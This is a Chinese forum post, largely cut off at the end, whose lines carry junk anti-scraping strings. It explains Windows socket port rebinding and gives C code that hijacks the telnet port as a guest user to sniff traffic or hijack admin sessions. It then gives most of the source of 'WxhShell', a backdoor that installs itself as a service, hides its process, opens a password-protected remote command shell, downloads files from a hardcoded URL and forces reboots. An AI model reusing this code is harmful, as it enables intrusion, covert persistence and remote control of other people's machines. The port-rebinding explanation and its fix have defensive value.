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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :bM+&EP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A(6xg)_XQ  
4 k}e28  
  saddr.sin_family = AF_INET; MlO-+}`_+  
4|J[Jdj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ; ~ 4k7Uz  
SDJH;c0   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Pd=,$UQp  
s}x>J8hK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 l4'~}nn(Y  
>}+Q:iNQ)2  
  这意味着什么?意味着可以进行如下的攻击: a^nAZ  
hAR? t5c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8 ,}ikOZ?  
#~Q=h`9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Bl.u=I:Y4  
To"dG& h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D=?{8'R'  
oT+(W,G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }F1s tDx  
wJ"ev.A)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }Ag|gF!_  
SQ(apc}N4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J}g~uW  
</oY4$l'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _uH9XGm  
G"s0GpvQ  
  #include 7| YrdK<  
  #include r((Tavn  
  #include 0A$SYF$O+[  
  #include    oN2=DYC41  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,\ldz(D?+  
  int main() CDg AGy  
  { 60B-ay0e$b  
  WORD wVersionRequested; rnhFqNT:  
  DWORD ret; Bt~s*{3$8  
  WSADATA wsaData; E{^^^"z P  
  BOOL val; :xeLt;  
  SOCKADDR_IN saddr; IhonnLLW  
  SOCKADDR_IN scaddr; L ^Y3=1#"g  
  int err; DQ6jT@ZDH  
  SOCKET s; Ueyw;Y  
  SOCKET sc; 83;IyvbL  
  int caddsize; ?T*";_o,B  
  HANDLE mt; OD9 yxN>P  
  DWORD tid;   *K!++k!Ixa  
  wVersionRequested = MAKEWORD( 2, 2 ); P;91~``b-  
  err = WSAStartup( wVersionRequested, &wsaData ); e1 a*'T$z  
  if ( err != 0 ) { -zfoRU v  
  printf("error!WSAStartup failed!\n"); vE\lp8j+  
  return -1; hY;_/!_  
  } 8[5|_Eh+  
  saddr.sin_family = AF_INET; Pn WD}'0V  
   WYIw5 jzC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F|eu<^"$ H  
pG yRX_;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2"/yEg*=  
  saddr.sin_port = htons(23); 7 ^I:=qc72  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ey1Z/|  
  { 2_pz3<,\  
  printf("error!socket failed!\n"); %`\]Y']R  
  return -1; A3UQJ  
  } %xg"Q |  
  val = TRUE; ?ApRJm:T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 mvTb~)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cH"@d^"+q|  
  { gbGTG(:1S  
  printf("error!setsockopt failed!\n"); "EPD2,%S  
  return -1; HhSjR%6HY;  
  } p5*lEz|$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =MSu3<y,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 m6n hC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "bX4Q4Dq  
Eb@MfL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LHi6:G"Y(  
  { b7$}JCn  
  ret=GetLastError(); m^tNqJs8  
  printf("error!bind failed!\n"); 4;<DJ.XlN=  
  return -1; h5onRa *7  
  } pMN<p[MB  
  listen(s,2); Y6eEGo"K.+  
  while(1) S<oQ}+4[~  
  { iHz[Zw^.s  
  caddsize = sizeof(scaddr); @>O&Cpt  
  //接受连接请求 v]bAWo  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f=ib9WbR#  
  if(sc!=INVALID_SOCKET) -9G]x{>  
  { &5q{viI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0|C[-ppr  
  if(mt==NULL) 7%CIt?Z%  
  { Zoow*`b|$U  
  printf("Thread Creat Failed!\n"); Ak=UtDN[  
  break; k>{-[X,/OV  
  } Z=9dMND  
  } .cR*P<3O  
  CloseHandle(mt); tA qs2  
  } < l[` "0  
  closesocket(s); % 0v*n8  
  WSACleanup(); ;BTJ%F.  
  return 0; eTZ`q_LfI1  
  }   lIq~~cv)  
  DWORD WINAPI ClientThread(LPVOID lpParam) $FCw$+w  
  { ^Kw(& v  
  SOCKET ss = (SOCKET)lpParam; /=M.-MU2  
  SOCKET sc; v MWC(m  
  unsigned char buf[4096]; faVS2TN4  
  SOCKADDR_IN saddr; s^PmnFR  
  long num; `u=<c  
  DWORD val; h.b+r~u  
  DWORD ret; hEcYpng~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 s1=u{ET  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '3%*U*I  
  saddr.sin_family = AF_INET; Oxn'bh6R0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6D^%'[4t  
  saddr.sin_port = htons(23); r}@< K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~ 7BX@?  
  { P%!q1`Eke(  
  printf("error!socket failed!\n"); Mcb<[~m  
  return -1; \>[gl!B_Rr  
  } ):E'`ZP!F  
  val = 100; $K=z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6DZ2pT:  
  { a}D&$yz2  
  ret = GetLastError(); X,53c$  
  return -1; APuu_!ez1  
  } Ph\F'xROe  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?M<|r11}  
  { uN&M\(  
  ret = GetLastError(); riEqW}{  
  return -1; )`RZkCe  
  } Ap,q `S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K!b>TICa:  
  { 6cZ  C  
  printf("error!socket connect failed!\n"); HjPH  
  closesocket(sc); j)@oRWL<  
  closesocket(ss); 0C7"3l  
  return -1; +}]wLM}\UF  
  } 8)`5P\  
  while(1) #ZwY?T x  
  { "2K|#,%N  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Px#4pmz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZArf;&8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =z%s8D2  
  num = recv(ss,buf,4096,0); m-#d8sD2C  
  if(num>0) ]=pWZ~A  
  send(sc,buf,num,0); 3DHvaq q7  
  else if(num==0) {8i}Ow  
  break; ~pwY6Q  
  num = recv(sc,buf,4096,0); pb= HVjW<  
  if(num>0) 6KBHRt  
  send(ss,buf,num,0); b6$4Ul-.  
  else if(num==0) @%7/2k  
  break; X)FQ%(H<  
  } )xbqQW7%0+  
  closesocket(ss); 7dx4~dF  
  closesocket(sc); rr6"Y&v  
  return 0 ; 6P6Jx;  
  } k dUc&  
/3;=xZq  
'jwTGT5x  
========================================================== F6h/0i  
-y<rM0"NE  
下边附上一个代码,,WXhSHELL GYTbeY  
q .)^B@}_  
========================================================== "N]WL5$i  
6q!7i%fK?  
#include "stdafx.h" }8X:?S %  
+0)5H>h  
#include <stdio.h> F .& *D~f  
#include <string.h> ; vhnA$'a  
#include <windows.h> ob)D{4B'  
#include <winsock2.h> <C2c" =b  
#include <winsvc.h> Xek E#?.  
#include <urlmon.h> m./*LXU  
!FO:^P  
#pragma comment (lib, "Ws2_32.lib") (jt*u (C&Y  
#pragma comment (lib, "urlmon.lib") O/'f$Zj36  
EzwF`3RjK  
#define MAX_USER   100 // 最大客户端连接数 aw;{<?*  
#define BUF_SOCK   200 // sock buffer M|aQ)ivh3  
#define KEY_BUFF   255 // 输入 buffer Oym]&SrbS  
>4Fd xa  
#define REBOOT     0   // 重启 a:wJ/ p  
#define SHUTDOWN   1   // 关机 +2f> M4q  
8cequAD  
#define DEF_PORT   5000 // 监听端口 g8B&u u #  
P/HHWiD`D  
#define REG_LEN     16   // 注册表键长度 ],WwqD=  
#define SVC_LEN     80   // NT服务名长度 k0R, !F  
:1%VZvWk*  
// 从dll定义API NF@i#:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y;*My#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A Z]Z,s6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C5d/)aC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bK6, saN>  
an #jZ[  
// wxhshell配置信息 t/_\U =i$  
struct WSCFG { ei(| 5h  
  int ws_port;         // 监听端口 R#r h  
  char ws_passstr[REG_LEN]; // 口令 k$Nx6?8E  
  int ws_autoins;       // 安装标记, 1=yes 0=no `\6 +z  
  char ws_regname[REG_LEN]; // 注册表键名 4ZSfz#<[z  
  char ws_svcname[REG_LEN]; // 服务名 (gv=P>:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i] V F'tG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1 / F<T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 * , |)~$=>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QLxXp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N2M?5fF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q oKQEG2  
#p;4:IT  
}; V/+H_=|  
Tm'lN5}&9  
// default Wxhshell configuration K7YT0cG  
struct WSCFG wscfg={DEF_PORT, 9G=A)j  
    "xuhuanlingzhe", jLpgWt`8)E  
    1, xUV_2n+  
    "Wxhshell", gogl[gHO  
    "Wxhshell", k|)^!BdO  
            "WxhShell Service", g#pIMA#/  
    "Wrsky Windows CmdShell Service", \f ~u85  
    "Please Input Your Password: ", >:(6{}b  
  1, =Td#2V;0  
  "http://www.wrsky.com/wxhshell.exe", zSX'  
  "Wxhshell.exe" <[*h_gE5  
    }; ;5zjd,  
(Qw`%B  
// 消息定义模块 ~QQEHx\4zZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 50O7=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mCZF5r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #w[q.+A  
char *msg_ws_ext="\n\rExit."; Ix%"4/z>  
char *msg_ws_end="\n\rQuit."; Phk`=:xh  
char *msg_ws_boot="\n\rReboot..."; bs4fyb  
char *msg_ws_poff="\n\rShutdown..."; 23.y3t_?  
char *msg_ws_down="\n\rSave to "; mRix0XBI~  
l[ZQ7$kL  
char *msg_ws_err="\n\rErr!"; !IQfeo T  
char *msg_ws_ok="\n\rOK!"; x(T!I&i={  
'npT+p$ V  
char ExeFile[MAX_PATH]; F5om-tzy  
int nUser = 0; 6jQ&dN{=qB  
HANDLE handles[MAX_USER]; ; +#za?w  
int OsIsNt; Q)7L^  
Hj-<{#,  
SERVICE_STATUS       serviceStatus; QmDhZ04f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QZz{74]n  
TWD|1 di0  
// 函数声明 gXJ19zB+  
int Install(void); X8NO;w@z#  
int Uninstall(void); EusfgU:  
int DownloadFile(char *sURL, SOCKET wsh); ),W (TL  
int Boot(int flag); xOX*=Wv  
void HideProc(void); (PE8H~d  
int GetOsVer(void); D{3 x}5  
int Wxhshell(SOCKET wsl); Z n"TG/:  
void TalkWithClient(void *cs); vi()1LS/!  
int CmdShell(SOCKET sock); >V ]*mS %K  
int StartFromService(void); } (O D<  
int StartWxhshell(LPSTR lpCmdLine); HCn ]#  
`eA&C4oFOO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u:qD*zOq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [f0oB$  
)e <! =S  
// 数据结构和表定义 r5fz6"  
SERVICE_TABLE_ENTRY DispatchTable[] = eO[Cb]Dy:  
{ bo?3E +B  
{wscfg.ws_svcname, NTServiceMain}, _sCJ3ZJ  
{NULL, NULL} +p%5/ smfs  
}; wb}N-8x  
d >wmg*J  
// 自我安装 0ga1Yr]  
int Install(void) k(vEp ]  
{ `mHOgS>|  
  char svExeFile[MAX_PATH]; Z ^9{Qq  
  HKEY key; AcfkY m~  
  strcpy(svExeFile,ExeFile); ^QL/m\zq@%  
OKLggim{  
// 如果是win9x系统,修改注册表设为自启动 j@_) F^12  
if(!OsIsNt) { W;)FNP|MT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @{$Cv"6769  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r>:7${pF  
  RegCloseKey(key); M& BM,~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7! A%6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V?L$ ys  
  RegCloseKey(key); b&V]|Z (  
  return 0; VTgbJ {?  
    } V3hm*{ON  
  } Xxsnpb>  
} #Ot*jb1  
else { R*TGn_J`  
[C~)&2wh>  
// 如果是NT以上系统,安装为系统服务 ^Hhw(@`qf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >cr_^(UW&  
if (schSCManager!=0) >Qbc(}w  
{ ?U9d3] W  
  SC_HANDLE schService = CreateService GVHfN5bTqn  
  ( +68K[s,FD  
  schSCManager, ~)_ ?:.Da  
  wscfg.ws_svcname, "!_ 4%z-  
  wscfg.ws_svcdisp, 94k)a8-!  
  SERVICE_ALL_ACCESS, {-7yZ]OO$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xvz5\s|b  
  SERVICE_AUTO_START, ; K 6Fe)  
  SERVICE_ERROR_NORMAL, {ALBmSapK"  
  svExeFile, A%czhF  
  NULL, meVVRFQ2+  
  NULL, QmkC~kK1.  
  NULL, >7Sl( UY-  
  NULL, H* L2gw  
  NULL +K?N:w  
  ); kI[O{<kQ  
  if (schService!=0) &#my #u^O;  
  { "6o}qeB l  
  CloseServiceHandle(schService); V]PhXVJ  
  CloseServiceHandle(schSCManager); R_*D7|v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f[I'j0H%  
  strcat(svExeFile,wscfg.ws_svcname); Z6/~2S@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { en#g<on  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )PoI~km  
  RegCloseKey(key); U.j\u>a  
  return 0; ~m09yc d<  
    } V1b_z  
  } O> ^~SO  
  CloseServiceHandle(schSCManager); D>#v 6XI  
} VOK$;s'9}  
} f;XsShxr  
\t(r@q q  
return 1; f]6` GsE  
} [W|7r n,q  
bz@=zLBt  
// 自我卸载 7'/2:"  
int Uninstall(void) WUK.>eM0  
{ A%8`zR  
  HKEY key; l|tp0[  
&*:)5F5  
if(!OsIsNt) { 7LZb*+>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y<x_v )k-  
  RegDeleteValue(key,wscfg.ws_regname); JO6vzoS3  
  RegCloseKey(key); <7-,`   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h/bYtE  
  RegDeleteValue(key,wscfg.ws_regname); ?UhAjtYIS  
  RegCloseKey(key); W me1w\0  
  return 0; }/}`onRZ  
  } eHyuO)(xH1  
} oYm{I ~"  
} ez:o9)N4  
else { IV#My9}e  
j%y+W{Q[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l )V43  
if (schSCManager!=0) vc{]c }  
{ f I-"8f0_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l'lDzB+.*  
  if (schService!=0) #_L&  
  { W9m[>-Ew  
  if(DeleteService(schService)!=0) { .lj!~_  
  CloseServiceHandle(schService); G]DN!7]@g  
  CloseServiceHandle(schSCManager);  eV=sDx  
  return 0; ./*,Thc  
  } jL).B&  
  CloseServiceHandle(schService); T:~W.3  
  } i-vJ&}}  
  CloseServiceHandle(schSCManager); tsC|R~wW  
} eKti+n.  
} VP[!ji9P   
5$Q`P',*Ua  
return 1; %c2i.E/G  
} " /-v 9  
x]+KO)I  
// 从指定url下载文件 QAnfxt6  
int DownloadFile(char *sURL, SOCKET wsh) R/xCS.yl}  
{ !4cdP2^P  
  HRESULT hr; OxGCpbh*7o  
char seps[]= "/"; G:ngio]G0  
char *token; Z5a@fWU  
char *file; 1% %Tm"  
char myURL[MAX_PATH]; @!NHeH=pR  
char myFILE[MAX_PATH]; kL2sJX+  
:+^llz  
strcpy(myURL,sURL); >b](v)  
  token=strtok(myURL,seps); =0fx6V  
  while(token!=NULL) OL"5A18;M  
  { <l/Qf[V  
    file=token; s/0FSv x  
  token=strtok(NULL,seps); >:nJTr  
  } R:m=HS_  
F9J9pgVP  
GetCurrentDirectory(MAX_PATH,myFILE); DJjDKVO5t  
strcat(myFILE, "\\"); >mSl~.I2  
strcat(myFILE, file); #@"rp]1xv  
  send(wsh,myFILE,strlen(myFILE),0); >ZsK5v  
send(wsh,"...",3,0); w7V W   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S2SQ;s-t_  
  if(hr==S_OK) Z'bMIdV  
return 0; oDI*\S>  
else 9TS=>  
return 1; -^Va]Lk  
4DM|OL`w  
} vrx3O  
CnA)>4E*'  
// 系统电源模块 I T2sS6&R  
int Boot(int flag) b>._ r&.  
{ n:)Y'52}  
  HANDLE hToken; 4c@F.I  
  TOKEN_PRIVILEGES tkp; &c ~)z\$  
6x8|v7cMH  
  if(OsIsNt) { wIHz TL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %d\+(:uu/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A8Y~^wn  
    tkp.PrivilegeCount = 1; T`[ZNq+${  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )`7h,w J[1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5R G5uH/-<  
if(flag==REBOOT) { ^TK)_wx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :e vc  
  return 0; /! G0 g%k  
} ee` =B  
else { Vo8"/]_h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?+L6o C.;  
  return 0; YWF<2l.  
} v]S8!wU  
  } x"De 9SB  
  else { `sC8ro@Fm  
if(flag==REBOOT) { lB@K;E@r8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =R`2m  
  return 0; E zUjt)wF  
} ?V&a |:N9  
else { nEr, jd~f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K6hN N$F!  
  return 0; Rx2|VD  
} PyE<`E  
} #+nv,?@  
<N&f >7  
return 1; DL{a8t1L  
} F\<i>LWT'  
j'n= Xh  
// win9x进程隐藏模块 j`l K}  
void HideProc(void) _zwuK1e  
{ M/;g|J jM  
.1}(Bywm5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?! Gt. fb  
  if ( hKernel != NULL ) OPjh"Hv  
  { 3W0:0I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FM];+d0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tgnXBWA`!  
    FreeLibrary(hKernel); 9Ua@-  
  } /% 1lJD  
mJT m/C  
return; 8=uljn/  
} Q)&Ztw<  
mj~CCokF{?  
// 获取操作系统版本 Y [S^&pF  
int GetOsVer(void) FFGTIT# {"  
{ (^\i(cfu6Q  
  OSVERSIONINFO winfo; ,_O[; L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +[+ Jd)Z  
  GetVersionEx(&winfo); _Z&R'`kg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;_*F [ }w  
  return 1; K)OlCpHc  
  else %Kp}Wo6  
  return 0; (FHh,y~v  
} k/O&,T77}J  
!^\/ 1^  
// 客户端句柄模块 krU2S-  
int Wxhshell(SOCKET wsl) |{Q,,<C  
{ Gx)D~7lz  
  SOCKET wsh; =Y0m;-1M  
  struct sockaddr_in client; MvFXVCT#  
  DWORD myID; +a;j>hh  
i|Wn*~yFOO  
  while(nUser<MAX_USER) RJM(+5xQ|  
{ /2 N%Z  
  int nSize=sizeof(client); 5Tq 3L[T5;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &h-1Z}  
  if(wsh==INVALID_SOCKET) return 1; kE h# 0  
H++rwVwj#h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <Jz>e}*)  
if(handles[nUser]==0) V>Cf 8>m  
  closesocket(wsh); LX'US-B.!  
else $'Z!Y;Ue  
  nUser++; 0M p>X  
  } ]gZjV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z(P#]jI]  
nFSa~M  
  return 0; wDk[)9#A   
} G <q@K-  
hyp`6?f  
// 关闭 socket N8TO"`wdbs  
void CloseIt(SOCKET wsh) I(4k{=\ph]  
{ j? A +qk  
closesocket(wsh); XijQ)}'C3  
nUser--; Mtr~d  
ExitThread(0); bMYRQ,K`C  
} D~}4N1  
qMkP/BjV  
// 客户端请求句柄 j06DP _9M  
void TalkWithClient(void *cs) ?}.(k/  
{ {U9jA_XX  
Df9}YI ;?  
  SOCKET wsh=(SOCKET)cs;  Bv3v;^  
  char pwd[SVC_LEN]; ;DTNw=  
  char cmd[KEY_BUFF]; <Jx{Uv  
char chr[1]; "O`;zC  
int i,j; ?W(f%/B#  
yLP0w^Q  
  while (nUser < MAX_USER) { M<729M  
IP3-lru  
if(wscfg.ws_passstr) { yY+2;`CH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6-~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "?!IPX2\S  
  //ZeroMemory(pwd,KEY_BUFF); b8Qm4b?:4  
      i=0; t j0vB]c  
  while(i<SVC_LEN) { 6yU~^))bx  
#LZ`kSlv4  
  // 设置超时 = N#WwNC  
  fd_set FdRead; zV]0S o  
  struct timeval TimeOut; pP#?|  
  FD_ZERO(&FdRead); g6farLBF  
  FD_SET(wsh,&FdRead);  O>3'ylBQ  
  TimeOut.tv_sec=8; q% "nk  
  TimeOut.tv_usec=0; m:t $&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1Sy#*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \r2w@F{C  
lc#H%Qlg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DuWP)#kg  
  pwd=chr[0]; ~gf $ L9  
  if(chr[0]==0xd || chr[0]==0xa) { LLE~V~j  
  pwd=0; e0TnA N  
  break; 2a^(8A`7W  
  } @l8?\^N  
  i++; SCo9[EJ  
    } eIO}/npT]Q  
\?o%<c5{  
  // 如果是非法用户,关闭 socket ">o/\sXeH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :X#(T- !t  
} ch&r.  
4Y]`> ;w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =P!Vi6[gF~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^V:YNUqp#  
&Fi8@0Fh  
while(1) { Um~jp:6p  
}MX`WW0\]Z  
  ZeroMemory(cmd,KEY_BUFF); ~?p > L  
5FMKJ7sC9  
      // 自动支持客户端 telnet标准   8|l Yf%n>j  
  j=0; h\5 7t@A  
  while(j<KEY_BUFF) { \@xnC$dd/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O Rfl v+  
  cmd[j]=chr[0]; -'nx7wnj2  
  if(chr[0]==0xa || chr[0]==0xd) { )D^P~2  
  cmd[j]=0; zR4huo  
  break; _eF*8 /z  
  } ,%C$~+xjM  
  j++; (mEZ4yM  
    } IkvH8E  
(Cq-8**dY  
  // 下载文件 s 2E}+ #  
  if(strstr(cmd,"http://")) { kxP6#8*:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yU\|dL  
  if(DownloadFile(cmd,wsh)) %guot~S|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M;E&@[5  
  else I9MI}0}7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %nIjRmqM~  
  } t!k 0n&P  
  else { 9we=aX5  
rEViw?^KT  
    switch(cmd[0]) { S.I<Hs  
  <[q)2 5RL  
  // 帮助 1vThb  
  case '?': { &qr7yyY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oH;Y}h  
    break; #\jPBLc  
  } H0Tt(:.&  
  // 安装 vD(;VeW[  
  case 'i': { lyV]-w  
    if(Install()) dug RO[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PyoLk  
    else 4e:hKv,+4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e'ZgF~  
    break; Wj3H  y4  
    } A;g[G>J  
  // 卸载 pSAXp# g  
  case 'r': { B<)(7GTv7"  
    if(Uninstall()) 8dpVB#]pp,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -&&mkK B!  
    else P)H%dJ ^l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TQ BL!w  
    break; }X$>84s>[P  
    } %8ul}}d9  
  // 显示 wxhshell 所在路径 |`|b&Rhu  
  case 'p': { ; R67a V,  
    char svExeFile[MAX_PATH]; 0QPipuP  
    strcpy(svExeFile,"\n\r"); e#AB0-f  
      strcat(svExeFile,ExeFile); qj|GAGrQ2  
        send(wsh,svExeFile,strlen(svExeFile),0); q\~7z1   
    break; D Lu]d$G  
    } b"gYNGgX  
  // 重启 +vQyHo  
  case 'b': { <ZocMv9gM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \C L`j  
    if(Boot(REBOOT)) 0e:aeLh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6(z.(eT  
    else { ]*@7o^4i  
    closesocket(wsh); ?gkK*\x2  
    ExitThread(0); -,rl[1ZYZ  
    } BYGLYT;Z  
    break; PvM<#zq_  
    } @<Y Za$`  
  // 关机 d ] [E;$  
  case 'd': { IL~yJx_11  
